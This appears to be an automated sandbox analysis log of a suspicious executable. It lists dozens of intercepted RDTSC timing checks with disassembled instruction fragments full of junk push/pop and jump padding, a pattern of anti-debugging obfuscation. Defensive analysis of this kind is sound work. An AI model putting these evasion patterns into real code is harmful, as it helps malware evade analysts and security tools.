Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F78F second address: 32F7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F6E35090478h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F7A1 second address: 32F7C6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edx 0x0000000d jmp 00007F6E34BB4F8Fh 0x00000012 pop edx 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F7C6 second address: 32F7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F7CA second address: 32F7D4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6E34BB4F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F7D4 second address: 32F7F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6E3509047Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F7F2 second address: 32F7F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F7F8 second address: 32F7FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F7FC second address: 32F862 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6E34BB4F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e mov ecx, dword ptr [ebp+122D366Dh] 0x00000014 mov dl, 3Eh 0x00000016 popad 0x00000017 cld 0x00000018 call 00007F6E34BB4F89h 0x0000001d jmp 00007F6E34BB4F8Dh 0x00000022 push eax 0x00000023 jmp 00007F6E34BB4F98h 0x00000028 mov eax, dword ptr [esp+04h] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F6E34BB4F99h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F862 second address: 32F890 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007F6E35090476h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jnp 00007F6E35090478h 0x00000015 je 00007F6E3509047Ch 0x0000001b jng 00007F6E35090476h 0x00000021 popad 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F890 second address: 32F894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F894 second address: 32F898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F898 second address: 32F89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32F9CE second address: 32FA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 ja 00007F6E3509048Dh 0x0000000b jmp 00007F6E35090487h 0x00000010 popad 0x00000011 push eax 0x00000012 push ebx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 pop ebx 0x0000001a xchg eax, esi 0x0000001b mov cx, dx 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 jne 00007F6E3509047Ch 0x00000027 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32FA0D second address: 32FA32 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6E34BB4F9Ah 0x00000008 jmp 00007F6E34BB4F94h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32FD08 second address: 32FD1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090482h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3300DC second address: 330155 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a jnp 00007F6E34BB4F88h 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edi 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F6E34BB4F88h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e push 0000001Eh 0x00000030 jmp 00007F6E34BB4F97h 0x00000035 nop 0x00000036 pushad 0x00000037 pushad 0x00000038 jnc 00007F6E34BB4F86h 0x0000003e push esi 0x0000003f pop esi 0x00000040 popad 0x00000041 ja 00007F6E34BB4F8Ch 0x00000047 popad 0x00000048 push eax 0x00000049 pushad 0x0000004a jbe 00007F6E34BB4F8Ch 0x00000050 jns 00007F6E34BB4F86h 0x00000056 pushad 0x00000057 pushad 0x00000058 popad 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 330450 second address: 33045A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F6E35090476h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 369D9D second address: 369DAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 36A33D second address: 36A343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 36A343 second address: 36A355 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F6E34BB4F86h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 36A4F5 second address: 36A547 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jo 00007F6E35090476h 0x00000010 jmp 00007F6E35090489h 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007F6E3509047Ah 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F6E35090484h 0x00000023 je 00007F6E35090476h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 36A547 second address: 36A553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F6E34BB4F86h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 36A553 second address: 36A559 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 36A686 second address: 36A68A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 36C9A0 second address: 36C9C0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F6E35090486h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 371436 second address: 37143C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37114A second address: 371151 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3758AA second address: 3758B0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3758B0 second address: 3758BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3758BA second address: 3758C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6E34BB4F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3758C4 second address: 3758D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6E3509047Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3758D4 second address: 37590D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F95h 0x00000007 pushad 0x00000008 jmp 00007F6E34BB4F90h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 jp 00007F6E34BB4FA3h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 375D95 second address: 375D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2EF6C7 second address: 2EF6D7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6E34BB4F86h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2EF6D7 second address: 2EF6EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090484h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37939C second address: 3793C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6E34BB4F93h 0x0000000c jmp 00007F6E34BB4F91h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37954E second address: 379554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 379554 second address: 379589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 ja 00007F6E34BB4F92h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6E34BB4F94h 0x00000014 jns 00007F6E34BB4F86h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37994D second address: 37996C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6E35090484h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37FAEA second address: 37FAF5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37E453 second address: 37E459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37E459 second address: 37E45D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37E45D second address: 37E475 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3509047Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F6E35090476h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37E475 second address: 37E4BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E34BB4F97h 0x0000000b jmp 00007F6E34BB4F8Dh 0x00000010 popad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6E34BB4F98h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37E8AA second address: 37E8B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jo 00007F6E35090476h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37E8B6 second address: 37E8CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37E8CE second address: 37E8D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37E9FF second address: 37EA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37EA03 second address: 37EA07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37EA07 second address: 37EA25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6E34BB4F95h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37EA25 second address: 37EA2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37EA2B second address: 37EA65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F6E34BB4F93h 0x00000010 jmp 00007F6E34BB4F91h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007F6E34BB4F86h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37EA65 second address: 37EA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37EA69 second address: 37EA6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37EA6D second address: 37EA73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37EA73 second address: 37EA79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37F870 second address: 37F874 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 37F874 second address: 37F88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E34BB4F93h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 381142 second address: 381148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 381148 second address: 38114C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 38114C second address: 381152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 388585 second address: 38858F instructions: 0x00000000 rdtsc 0x00000002 js 00007F6E34BB4F86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 38858F second address: 388595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 388595 second address: 38859B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 38859B second address: 3885C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090486h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F6E3509047Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3885C9 second address: 388603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6E34BB4F86h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F6E34BB4F98h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6E34BB4F90h 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 38660D second address: 386617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6E35090476h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 386617 second address: 38661B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3868EE second address: 3868F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 386BE4 second address: 386C01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F95h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 387CF0 second address: 387D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E3509047Ch 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 387D02 second address: 387D06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 387D06 second address: 387D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F6E35090484h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 387FD5 second address: 387FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E34BB4F8Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 387FE7 second address: 388023 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F6E35090484h 0x00000008 jmp 00007F6E35090483h 0x0000000d pop ebx 0x0000000e push ecx 0x0000000f jmp 00007F6E3509047Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3882DA second address: 3882EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F6E34BB4F86h 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3909B7 second address: 3909BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3909BB second address: 3909C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 390C67 second address: 390C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 390C6B second address: 390C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 390C6F second address: 390C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6E35090476h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 390C7F second address: 390C83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 390EDF second address: 390EEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F6E3509047Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 391077 second address: 391087 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F6E34BB4F8Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 391379 second address: 391380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39C4CF second address: 39C502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F6E34BB4F8Fh 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F6E34BB4F8Eh 0x00000016 jnl 00007F6E34BB4F86h 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
